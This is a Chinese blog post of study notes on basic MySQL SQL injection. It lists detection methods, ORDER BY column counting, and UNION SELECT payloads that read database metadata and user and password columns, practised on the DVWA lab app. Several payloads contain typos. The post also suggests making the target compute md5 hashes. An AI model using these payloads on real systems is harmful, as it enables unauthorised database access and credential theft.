美文网首页
12月4日上午:基本的sql注入

12月4日上午:基本的sql注入

作者: FKTX | 来源:发表于2017-12-12 19:03 被阅读0次

    基于报错的检测注入方法

    基于布尔的检测注入方法

    检测select 查询的字段数。order by 查询的是select后面的范围,只有select查询的字段数大于order by 后面的数,才不报错。

    数据库默认函数有哪些?user()  version()  database()  @@datadir  @@hostname   @@VERSION  @@version_compile_os   char(55)把ascii变成字符(有可能绕过)

    一句话:数据库的版本(两种方法)名称用户名,外加宿主的系统版本、主机名

    md5()这个比较6,假目标服务器存在sql注入,那么,就可以用md5()让目标去计算,计算好的结果用爬虫再爬回来。节省计算资源。

    union select database(),substring_index(user(),"@",1)-- 这段是切分

    union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+

    提高查询的效率

    先检测是否存在注入(报错检测,布尔盲注检测)------然后猜测select查询的字段数(order by 小于查询字段数才不会报错)-----接着,搞清楚回显在网页上什么地方union select 1,2 ----最后,用函数在回显的地址上显示想看的数据user() version

    通过实验,发现,如果回显2部分内容,那么union查询的时候,必须得能回显两部分,否则报错

    装hackerbar。空格就是加号

    mysql所有源数据都保存在information_schema,看这个了解了,mysql也就差不多了

    union select table_name,table_schema from information_schema.tables--+  table_schema对应的是数据表所在的那个数据库的名字

    union select table_scheme,count(*) from information_schema.table group by table_schema--+计算出每个数据库中有多少个表

    union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+  在dvwa这个数据库中根据表名看有没有敏感信息

    union select table_name,column_name from0 information_schema.columns where table_schema='dvwa' and table_name='users'-- +    从里面找user和password敏感信息

    因为这里是根据了表名称去查每个字段的命名,所以,直接搜索password这样的敏感信息,在password附近肯定有用户名的命名字段。

    相关文章

      网友评论

          本文标题:12月4日上午:基本的sql注入

          本文链接:https://www.haomeiwen.com/subject/tmjtixtx.html